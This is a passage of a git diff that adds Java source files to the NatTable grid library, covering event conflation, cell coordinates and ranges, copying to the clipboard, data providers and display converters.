EventConflaterChain(int refreshInterval, int initialDelay) { + this.refreshInterval = refreshInterval; + this.initialDelay = initialDelay; + } + + public void add(IEventConflater conflater) { + chain.add(conflater); + } + + public void start() { + scheduler = Executors.newScheduledThreadPool(1); + if (!started) { + scheduler.scheduleWithFixedDelay(getConflaterTask(), initialDelay, refreshInterval, TimeUnit.MILLISECONDS); + started = true; + } + } + + public void stop() { + if (started) { + scheduler.shutdownNow(); + started = false; + } + } + + public void addEvent(ILayerEvent event) { + for (IEventConflater eventConflater : chain) { + eventConflater.addEvent(event); + } + } + + public void clearQueue() { + for (IEventConflater eventConflater : chain) { + eventConflater.clearQueue(); + } + } + + public int getCount() { + int count = 0; + for (IEventConflater eventConflater : chain) { + count = count + eventConflater.getCount(); + } + return count; + } + + public Runnable getConflaterTask() { + return new Runnable() { + public void run() { + for (IEventConflater conflater : chain) { + conflater.getConflaterTask().run(); + } + } + }; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/IEventConflater.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/IEventConflater.java new file mode 100644 index 0000000..11b371f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/IEventConflater.java @@ -0,0 +1,23 @@ +package net.sourceforge.nattable.conflation; + +import net.sourceforge.nattable.layer.event.ILayerEvent; + +/** + * A Conflater queues events and periodically runs a task to + * handle those Events. This prevents the table from + * being overwhelmed by ultra fast updates. + */ +public interface IEventConflater { + + public abstract void addEvent(ILayerEvent event); + + public abstract void clearQueue(); + + /** + * @return Number of events currently waiting to be handled + */ + public abstract int getCount(); + + public Runnable getConflaterTask(); + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/VisualChangeEventConflater.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/VisualChangeEventConflater.java new file mode 100644 index 0000000..07bc660 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/conflation/VisualChangeEventConflater.java @@ -0,0 +1,44 @@ +package net.sourceforge.nattable.conflation; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.layer.event.ILayerEvent; +import net.sourceforge.nattable.layer.event.IVisualChangeEvent; + +/** + * Gathers all the VisualChangeEvents. When its run, it refreshes/repaints the table. + * + */ +public class VisualChangeEventConflater extends AbstractEventConflater { + + private final NatTable natTable; + + public VisualChangeEventConflater(NatTable ownerLayer) { + natTable = ownerLayer; + } + + @Override + public void addEvent(ILayerEvent event) { + if(event instanceof IVisualChangeEvent){ + super.addEvent(event); + } + } + + @Override + public Runnable getConflaterTask() { + return new Runnable() { + + public void run() { + if (queue.size() > 0) { + natTable.getDisplay().asyncExec(new Runnable() { + public void run() { + natTable.updateResize(); + } + }); + + clearQueue(); + } + } + }; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/ColumnPositionCoordinate.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/ColumnPositionCoordinate.java new file mode 100644 index 0000000..b031e10 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/ColumnPositionCoordinate.java @@ -0,0 +1,58 @@ +package net.sourceforge.nattable.coordinate; + +import net.sourceforge.nattable.layer.ILayer; + +import org.apache.commons.lang.builder.EqualsBuilder; +import org.apache.commons.lang.builder.HashCodeBuilder; + +public final class ColumnPositionCoordinate { + + private ILayer layer; + + public int columnPosition; + + public ColumnPositionCoordinate(ILayer layer, int columnPosition) { + this.layer = layer; + this.columnPosition = columnPosition; + } + + public ILayer getLayer() { + return layer; + } + + public int getColumnPosition() { + return columnPosition; + } + + @Override + public String toString() { + return getClass().getSimpleName() + "[" + layer + ":" + columnPosition + "]"; + } + + @Override + public boolean equals(Object obj) { + if (obj == this) { + return true; + } + + if (obj instanceof ColumnPositionCoordinate == false) { + return false; + } + + ColumnPositionCoordinate that = (ColumnPositionCoordinate) obj; + + return new EqualsBuilder() + .append(this.layer, that.layer) + .append(this.columnPosition, that.columnPosition) + .isEquals(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(133, 95) + .append(layer) + .append(columnPosition) + .toHashCode(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/IndexCoordinate.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/IndexCoordinate.java new file mode 100644 index 0000000..c6da143 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/IndexCoordinate.java @@ -0,0 +1,49 @@ +package net.sourceforge.nattable.coordinate; + +public final class IndexCoordinate { + + public final int columnIndex; + + public final int rowIndex; + + public IndexCoordinate(int columnIndex, int rowIndex) { + this.columnIndex = columnIndex; + this.rowIndex = rowIndex; + } + + public int getColumnIndex() { + return columnIndex; + } + + public int getRowIndex() { + return rowIndex; + } + + @Override + public String toString() { + return getClass().getSimpleName() + "[" + columnIndex + "," + rowIndex + "]"; + } + + @Override + public boolean equals(Object obj) { + if (obj == this) { + return true; + } + + if (obj instanceof IndexCoordinate == false) { + return false; + } + + IndexCoordinate that = (IndexCoordinate) obj; + return this.getColumnIndex() == that.getColumnIndex() + && this.getRowIndex() == that.getRowIndex(); + } + + @Override + public int hashCode() { + int hash = 95; + hash = 35 * hash + getColumnIndex(); + hash = 35 * hash + getRowIndex() + 87; + return hash; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/PositionCoordinate.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/PositionCoordinate.java new file mode 100644 index 0000000..0035bd4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/PositionCoordinate.java @@ -0,0 +1,72 @@ +package net.sourceforge.nattable.coordinate; + +import net.sourceforge.nattable.layer.ILayer; + +import org.apache.commons.lang.builder.EqualsBuilder; +import org.apache.commons.lang.builder.HashCodeBuilder; + +public final class PositionCoordinate { + + private ILayer layer; + + public int columnPosition; + + public int rowPosition; + + public PositionCoordinate(ILayer layer, int columnPosition, int rowPosition) { + this.layer = layer; + this.columnPosition = columnPosition; + this.rowPosition = rowPosition; + } + + public ILayer getLayer() { + return layer; + } + + public int getColumnPosition() { + return columnPosition; + } + + public int getRowPosition() { + return rowPosition; + } + + public void set(int rowPosition, int columnPosition) { + this.rowPosition = rowPosition; + this.columnPosition = columnPosition; + } + + @Override + public String toString() { + return getClass().getSimpleName() + "[" + layer + ":" + columnPosition + "," + rowPosition + "]"; + } + + @Override + public boolean equals(Object obj) { + if (obj == this) { + return true; + } + + if (obj instanceof PositionCoordinate == false) { + return false; + } + + PositionCoordinate that = (PositionCoordinate) obj; + + return new EqualsBuilder() + .append(this.layer, that.layer) + .append(this.columnPosition, that.columnPosition) + .append(this.rowPosition, that.rowPosition) + .isEquals(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(31, 59) + .append(layer) + .append(columnPosition) + .append(rowPosition) + .toHashCode(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/PositionUtil.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/PositionUtil.java new file mode 100644 index 0000000..d638ba0 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/PositionUtil.java @@ -0,0 +1,61 @@ +package net.sourceforge.nattable.coordinate; + +import static net.sourceforge.nattable.util.ObjectUtils.isNotEmpty; + +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.List; + +public class PositionUtil { + + /** + * Finds contiguous numbers in a group of numbers. + * @see ColumnChooserDialogTest#getGroupedByContiguous() + */ + public static List> getGroupedByContiguous(Collection numberCollection) { + List numbers = new ArrayList(numberCollection); + Collections.sort(numbers); + + List contiguous = new ArrayList(); + List> grouped = new ArrayList>(); + + for(int i = 0; i < numbers.size()-1; i++) { + if(numbers.get(i).intValue()+1 != numbers.get(i+1).intValue()){ + contiguous.add(numbers.get(i)); + grouped.add(contiguous); + contiguous = new ArrayList(); + } else { + contiguous.add(numbers.get(i)); + } + } + if(isNotEmpty(numbers)){ + contiguous.add(numbers.get(numbers.size()-1)); + } + grouped.add(contiguous); + return grouped; + } + + /** + * Creates {@link Range}s out of list of numbers.
    + * The contiguous numbers are grouped together in Ranges.
    + * + * Example: 0, 1, 2, 4, 5, 6 will return [[Range(0 - 3)][Range(4 - 7)]]
    + * The last number in the Range is not inclusive. + */ + public static List getRanges(Collection numbers) { + List ranges = new ArrayList(); + + if(isNotEmpty(numbers)){ + for (List number : PositionUtil.getGroupedByContiguous(numbers)) { + int start = number.get(0).intValue(); + int end = number.get(number.size() - 1).intValue() + 1; + + ranges.add(new Range(start, end)); + } + } + + return ranges; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/Range.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/Range.java new file mode 100644 index 0000000..d71afe2 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/Range.java @@ -0,0 +1,78 @@ +package net.sourceforge.nattable.coordinate; + +import java.util.Collections; +import java.util.Comparator; +import java.util.HashSet; +import java.util.List; +import java.util.Set; + +import org.apache.commons.lang.builder.HashCodeBuilder; + +/** + * Represents an Range of numbers. + * Example a Range of selected rows: 1 - 100 + * Ranges are inclusive of their start value and not inclusive of their end value, i.e. start <= x < end + */ +public class Range { + + public int start = 0; + public int end = 0; + + public Range(int start, int end) { + this.start = start; + this.end = end; + } + + public int size() { + return end - start; + } + + /** + * @return TRUE if the range contains the given row position + */ + public boolean contains(int position) { + return position >= start && position < end; + } + + public boolean overlap(Range range) { + return this.contains(range.start); + } + + public Set getMembers() { + Set members = new HashSet(); + for (int i = start; i < end; i++) { + members.add(Integer.valueOf(i)); + } + return members; + } + + @Override + public String toString() { + return "Range[" + start + "," + end + "]"; + } + + @Override + public boolean equals(Object obj) { + if (!(obj instanceof Range)) { + return false; + } + + Range range2 = (Range) obj; + return (start == range2.start) && (end == range2.end); + } + + @Override + public int hashCode() { + return HashCodeBuilder.reflectionHashCode(this); + } + + public static void sortByStart(List ranges) { + Collections.sort(ranges, new Comparator() { + public int compare(Range range1, Range range2) { + return Integer.valueOf(range1.start).compareTo( + Integer.valueOf(range2.start)); + } + }); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/RowPositionCoordinate.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/RowPositionCoordinate.java new file mode 100644 index 0000000..79692cc --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/coordinate/RowPositionCoordinate.java @@ -0,0 +1,58 @@ +package net.sourceforge.nattable.coordinate; + +import net.sourceforge.nattable.layer.ILayer; + +import org.apache.commons.lang.builder.EqualsBuilder; +import org.apache.commons.lang.builder.HashCodeBuilder; + +public final class RowPositionCoordinate { + + private ILayer layer; + + public int rowPosition; + + public RowPositionCoordinate(ILayer layer, int rowPosition) { + this.layer = layer; + this.rowPosition = rowPosition; + } + + public ILayer getLayer() { + return layer; + } + + public int getRowPosition() { + return rowPosition; + } + + @Override + public String toString() { + return getClass().getSimpleName() + "[" + layer + ":" + rowPosition + "]"; + } + + @Override + public boolean equals(Object obj) { + if (obj == this) { + return true; + } + + if (obj instanceof RowPositionCoordinate == false) { + return false; + } + + RowPositionCoordinate that = (RowPositionCoordinate) obj; + + return new EqualsBuilder() + .append(this.layer, that.layer) + .append(this.rowPosition, that.rowPosition) + .isEquals(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(647, 579) + .append(layer) + .append(rowPosition) + .toHashCode(); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/action/CopyDataAction.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/action/CopyDataAction.java new file mode 100644 index 0000000..9074857 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/action/CopyDataAction.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.copy.action; + +import net.sourceforge.nattable.NatTable; +import net.sourceforge.nattable.copy.command.CopyDataToClipboardCommand; +import net.sourceforge.nattable.ui.action.IKeyAction; + +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.events.KeyEvent; + +public class CopyDataAction implements IKeyAction { + + public void run(NatTable natTable, KeyEvent event) { + natTable.doCommand(new CopyDataToClipboardCommand(new Clipboard(event.display), "\t", "\n")); + } +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/command/CopyDataCommandHandler.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/command/CopyDataCommandHandler.java new file mode 100644 index 0000000..8dc5112 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/command/CopyDataCommandHandler.java @@ -0,0 +1,93 @@ +package net.sourceforge.nattable.copy.command; + +import java.util.Set; + +import net.sourceforge.nattable.command.AbstractLayerCommandHandler; +import net.sourceforge.nattable.coordinate.Range; +import net.sourceforge.nattable.copy.serializing.CopyDataToClipboardSerializer; +import net.sourceforge.nattable.layer.ILayer; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.selection.SelectionLayer; +import net.sourceforge.nattable.serializing.ISerializer; + +public class CopyDataCommandHandler extends AbstractLayerCommandHandler { + + private final SelectionLayer selectionLayer; + private final ILayer columnHeaderLayer; + private final ILayer rowHeaderLayer; + + public CopyDataCommandHandler(SelectionLayer selectionLayer) { + this(selectionLayer, null, null); + } + + public CopyDataCommandHandler(SelectionLayer selectionLayer, ILayer columnHeaderLayer, ILayer rowHeaderLayer) { + this.selectionLayer = selectionLayer; + this.columnHeaderLayer = columnHeaderLayer; + this.rowHeaderLayer = rowHeaderLayer; + } + + public boolean doCommand(CopyDataToClipboardCommand command) { + ISerializer serializer = new CopyDataToClipboardSerializer(assembleCopiedDataStructure(), command); + serializer.serialize(); + return true; + } + + public Class getCommandClass() { + return CopyDataToClipboardCommand.class; + } + + protected LayerCell[][] assembleCopiedDataStructure() { + final Set selectedRows = selectionLayer.getSelectedRows(); + final int rowOffset = columnHeaderLayer != null ? columnHeaderLayer.getRowCount() : 0; + // Add offset to rows, remember they need to include the column header as a row + final LayerCell[][] copiedCells = new LayerCell[selectionLayer.getSelectedRowCount() + rowOffset][1]; + if (columnHeaderLayer != null) { + copiedCells[0] = assembleColumnHeaders(selectionLayer.getSelectedColumns()); + } + for (Range range : selectedRows) { + for (int rowPosition = range.start; rowPosition < range.end; rowPosition++) { + copiedCells[(rowPosition - range.start) + rowOffset] = assembleBody(rowPosition); + } + } + return copiedCells; + } + + /** + * FIXME When we implement column groups, keep in mind this method assumes the ColumnHeaderLayer is has only a height of 1 row. + * @return + */ + protected LayerCell[] assembleColumnHeaders(int... selectedColumnPositions) { + final int columnOffset = rowHeaderLayer.getColumnCount(); + final LayerCell[] cells = new LayerCell[selectedColumnPositions.length + columnOffset]; + for (int columnPosition = 0; columnPosition < selectedColumnPositions.length; columnPosition++) { + // Pad the width of the vertical layer + cells[columnPosition + columnOffset] = columnHeaderLayer.getCellByPosition(selectedColumnPositions[columnPosition], 0); + } + return cells; + } + + /** + * FIXME Assumes row headers have only one column. + * @param lastSelectedColumnPosition + * @param currentRowPosition + * @return + */ + protected LayerCell[] assembleBody(int currentRowPosition) { + final int[] selectedColumns = selectionLayer.getSelectedColumns(); + final int columnOffset = rowHeaderLayer != null ? rowHeaderLayer.getColumnCount() : 0; + final LayerCell[] bodyCells = new LayerCell[selectedColumns.length + columnOffset]; + + if (rowHeaderLayer != null) { + bodyCells[0] = rowHeaderLayer.getCellByPosition(0, currentRowPosition); + } + + for (int columnPosition = 0; columnPosition < selectedColumns.length; columnPosition++) { + final int selectedColumnPosition = selectedColumns[columnPosition]; + if (selectionLayer.isCellPositionSelected(selectedColumnPosition, currentRowPosition)) { + bodyCells[columnPosition + columnOffset] = selectionLayer.getCellByPosition(selectedColumnPosition, currentRowPosition); + } + } + return bodyCells; + } + +} \ No newline at end of file diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/command/CopyDataToClipboardCommand.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/command/CopyDataToClipboardCommand.java new file mode 100644 index 0000000..efb5ee4 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/command/CopyDataToClipboardCommand.java @@ -0,0 +1,31 @@ +package net.sourceforge.nattable.copy.command; + +import org.eclipse.swt.dnd.Clipboard; + +import net.sourceforge.nattable.command.AbstractContextFreeCommand; + +public class CopyDataToClipboardCommand extends AbstractContextFreeCommand { + + private final Clipboard clipboard; + private final String cellDelimeter; + private final String rowDelimeter; + + public CopyDataToClipboardCommand(Clipboard clipboard, String cellDelimeter, String rowDelimeter) { + this.clipboard = clipboard; + this.cellDelimeter = cellDelimeter; + this.rowDelimeter = rowDelimeter; + + } + + public Clipboard getClipboard() { + return clipboard; + } + + public String getCellDelimeter() { + return cellDelimeter; + } + + public String getRowDelimeter() { + return rowDelimeter; + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/serializing/CopyDataToClipboardSerializer.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/serializing/CopyDataToClipboardSerializer.java new file mode 100644 index 0000000..ed6a600 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/copy/serializing/CopyDataToClipboardSerializer.java @@ -0,0 +1,45 @@ +package net.sourceforge.nattable.copy.serializing; + +import net.sourceforge.nattable.copy.command.CopyDataToClipboardCommand; +import net.sourceforge.nattable.layer.cell.LayerCell; +import net.sourceforge.nattable.serializing.ISerializer; + +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; + +public class CopyDataToClipboardSerializer implements ISerializer { + + private final LayerCell[][] copiedCells; + private final CopyDataToClipboardCommand command; + + public CopyDataToClipboardSerializer(LayerCell[][] copiedCells, CopyDataToClipboardCommand command) { + this.copiedCells = copiedCells; + this.command = command; + } + + public void serialize() { + final Clipboard clipboard = command.getClipboard(); + final String cellDelimeter = command.getCellDelimeter(); + final String rowDelimeter = command.getRowDelimeter(); + + final TextTransfer textTransfer = TextTransfer.getInstance(); + final StringBuilder textData = new StringBuilder(); + int currentRow = 0; + for (LayerCell[] cells : copiedCells) { + int currentCell = 0; + for (LayerCell cell : cells) { + final String delimeter = ++currentCell < cells.length ? cellDelimeter : ""; + if (cell != null) { + textData.append(cell.getDataValue() + delimeter); + } else { + textData.append(delimeter); + } + } + if (++currentRow < copiedCells.length) { + textData.append(rowDelimeter); + } + } + clipboard.setContents(new Object[]{textData.toString()}, new Transfer[]{textTransfer}); + } +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnAccessor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnAccessor.java new file mode 100644 index 0000000..ce6da20 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnAccessor.java @@ -0,0 +1,15 @@ +package net.sourceforge.nattable.data; + +/** + * Maps the properties from the row object to the corresponding columns. + * @param type of the bean used as a row object + */ +public interface IColumnAccessor { + + public Object getDataValue(T rowObject, int columnIndex); + + public void setDataValue(T rowObject, int columnIndex, Object newValue); + + public int getColumnCount(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnIdAccessor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnIdAccessor.java new file mode 100644 index 0000000..c5d283f --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnIdAccessor.java @@ -0,0 +1,13 @@ +package net.sourceforge.nattable.data; + +/** + * Maps between column indexes and id(s). + * A column id is a unique identifier for a column. + */ +public interface IColumnIdAccessor { + + public String getColumnId(int columnIndex); + + public int getColumnIndex(String columnId); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnPropertyAccessor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnPropertyAccessor.java new file mode 100644 index 0000000..4f3418d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnPropertyAccessor.java @@ -0,0 +1,5 @@ +package net.sourceforge.nattable.data; + +public interface IColumnPropertyAccessor extends IColumnAccessor, IColumnPropertyResolver { + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnPropertyResolver.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnPropertyResolver.java new file mode 100644 index 0000000..67a2e69 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IColumnPropertyResolver.java @@ -0,0 +1,19 @@ +package net.sourceforge.nattable.data; + +/** + * Maps between the column property name in the backing data bean + * and its corresponding column index. + */ +public interface IColumnPropertyResolver { + + /** + * @param columnIndex i.e the order of the column in the backing bean + */ + public String getColumnProperty(int columnIndex); + + /** + * @param propertyName i.e the name of the column in the backing bean + */ + public int getColumnIndex(String propertyName); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IDataProvider.java new file mode 100644 index 0000000..dbfdbda --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IDataProvider.java @@ -0,0 +1,36 @@ +package net.sourceforge.nattable.data; + +import net.sourceforge.nattable.layer.DataLayer; + +/** + * Provide data to the table. + * + * @see DataLayer + * @see ListDataProvider + */ +public interface IDataProvider { + + /** + * Gets the value at the given column and row index. + * + * @param columnIndex + * @param rowIndex + * @return the data value associated with the specified cell + */ + public Object getDataValue(int columnIndex, int rowIndex); + + /** + * Sets the value at the given column and row index. Optional operation. Should throw UnsupportedOperationException + * if this operation is not supported. + * + * @param columnIndex + * @param rowIndex + * @param newValue + */ + public void setDataValue(int columnIndex, int rowIndex, Object newValue); + + public int getColumnCount(); + + public int getRowCount(); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IRowDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IRowDataProvider.java new file mode 100644 index 0000000..d4e0d7b --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IRowDataProvider.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.data; + +public interface IRowDataProvider extends IDataProvider { + + public T getRowObject(int rowIndex); + + public int indexOfRowObject(T rowObject); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IRowIdAccessor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IRowIdAccessor.java new file mode 100644 index 0000000..788ae38 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/IRowIdAccessor.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.data; + +import java.io.Serializable; + +public interface IRowIdAccessor { + + public Serializable getRowId(R rowObject); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ISpanningDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ISpanningDataProvider.java new file mode 100644 index 0000000..f95e18d --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ISpanningDataProvider.java @@ -0,0 +1,9 @@ +package net.sourceforge.nattable.data; + +import net.sourceforge.nattable.layer.cell.DataCell; + +public interface ISpanningDataProvider extends IDataProvider { + + public DataCell getCellByPosition(int columnPosition, int rowPosition); + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ListDataProvider.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ListDataProvider.java new file mode 100644 index 0000000..ab34a24 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ListDataProvider.java @@ -0,0 +1,56 @@ +package net.sourceforge.nattable.data; + +import java.util.List; + +/** + * Enables the use of a {@link List} containing POJO(s) as a backing data source. + * + * By default a bean at position 'X' in the list is displayed in + * row 'X' in the table. The properties of the bean are used to + * populate the columns. A {@link IColumnPropertyResolver} is used to + * retrieve column data from the bean properties. + * + * @param type of the Objects in the backing list. + * @see IColumnPropertyResolver + */ +public class ListDataProvider implements IRowDataProvider { + + protected List list; + protected IColumnAccessor columnAccessor; + + public ListDataProvider(List list, IColumnAccessor columnAccessor) { + this.list = list; + this.columnAccessor = columnAccessor; + } + + public int getColumnCount() { + return columnAccessor.getColumnCount(); + } + + public int getRowCount() { + return list.size(); + } + + public Object getDataValue(int columnIndex, int rowIndex) { + T rowObj = list.get(rowIndex); + return columnAccessor.getDataValue(rowObj, columnIndex); + } + + public void setDataValue(int columnIndex, int rowIndex, Object newValue) { + T rowObj = list.get(rowIndex); + columnAccessor.setDataValue(rowObj, columnIndex, newValue); + } + + public T getRowObject(int rowIndex) { + return list.get(rowIndex); + } + + public int indexOfRowObject(T rowObject) { + return list.indexOf(rowObject); + } + + public List getList() { + return list; + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ReflectiveColumnPropertyAccessor.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ReflectiveColumnPropertyAccessor.java new file mode 100644 index 0000000..cfc5019 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/ReflectiveColumnPropertyAccessor.java @@ -0,0 +1,86 @@ +package net.sourceforge.nattable.data; + +import java.beans.IntrospectionException; +import java.beans.Introspector; +import java.beans.PropertyDescriptor; +import java.lang.reflect.Method; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +/** + * Convenience class which uses java reflection to get/set property names + * from the row bean. It looks for getter methods for reading and setter + * methods for writing according to the Java conventions. + * + * @param type of the row object/bean + */ +public class ReflectiveColumnPropertyAccessor implements IColumnPropertyAccessor { + + private final List propertyNames; + + private Map propertyDescriptorMap; + + /** + * @param propertyNames of the members of the row bean + */ + public ReflectiveColumnPropertyAccessor(String[] propertyNames) { + this.propertyNames = Arrays.asList(propertyNames); + } + + public int getColumnCount() { + return propertyNames.size(); + } + + public Object getDataValue(R rowObj, int columnIndex) { + try { + PropertyDescriptor propertyDesc = getPropertyDescriptor(rowObj, columnIndex); + Method readMethod = propertyDesc.getReadMethod(); + return readMethod.invoke(rowObj); + } catch (Exception e) { + e.printStackTrace(); + throw new RuntimeException(e); + } + } + + public void setDataValue(R rowObj, int columnIndex, Object newValue) { + try { + PropertyDescriptor propertyDesc = getPropertyDescriptor(rowObj, columnIndex); + Method writeMethod = propertyDesc.getWriteMethod(); + if(writeMethod == null) { + throw new RuntimeException( + "Setter method not found in backing bean for value at column index: " + columnIndex); + } + writeMethod.invoke(rowObj, newValue); + } catch (IllegalArgumentException ex){ + System.err.println( + "Data the type being set does not match the data type of the setter method in the backing bean"); + } catch (Exception e) { + e.printStackTrace(System.err); + throw new RuntimeException("Error while setting data value"); + } + }; + + public String getColumnProperty(int columnIndex) { + return propertyNames.get(columnIndex); + } + + public int getColumnIndex(String propertyName) { + return propertyNames.indexOf(propertyName); + } + + private PropertyDescriptor getPropertyDescriptor(R rowObj, int columnIndex) throws IntrospectionException { + if (propertyDescriptorMap == null) { + propertyDescriptorMap = new HashMap(); + PropertyDescriptor[] propertyDescriptors = Introspector.getBeanInfo(rowObj.getClass()).getPropertyDescriptors(); + for (PropertyDescriptor propertyDescriptor : propertyDescriptors) { + propertyDescriptorMap.put(propertyDescriptor.getName(), propertyDescriptor); + } + } + + final String propertyName = propertyNames.get(columnIndex); + return propertyDescriptorMap.get(propertyName); + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultBooleanDisplayConverter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultBooleanDisplayConverter.java new file mode 100644 index 0000000..9c04265 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultBooleanDisplayConverter.java @@ -0,0 +1,22 @@ +package net.sourceforge.nattable.data.convert; + + +/** + * Data type converter for a Check Box. + * Assumes that the data value is stored as a boolean. + */ +public class DefaultBooleanDisplayConverter implements IDisplayConverter { + + public Object displayToCanonicalValue(Object displayValue) { + return Boolean.valueOf(displayValue.toString()); + } + + public Object canonicalToDisplayValue(Object canonicalValue) { + if (canonicalValue == null) { + return null; + } else { + return canonicalValue.toString(); + } + } + +} diff --git a/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDateDisplayConverter.java b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDateDisplayConverter.java new file mode 100644 index 0000000..985f2a9 --- /dev/null +++ b/others/net.sourceforge.nattable.core/src/net/sourceforge/nattable/data/convert/DefaultDateDisplayConverter.java @@ -0,0 +1,50 @@ +package net.sourceforge.nattable.data.convert; + +import java.text.DateFormat; +import java.text.SimpleDateFormat; +import java.util.Date; + +import net.sourceforge.nattable.util.ObjectUtils; + +/** + * Converts a java.util.Date object to a given format and vice versa + */ +public class DefaultDateDisplayConverter implements IDisplayConverter { + + private DateFormat dateFormat; + + /** + * @param dateFormat as specified in {@link SimpleDateFormat} + */ + public DefaultDateDisplayConverter(String dateFormat) { + this.dateFormat = new 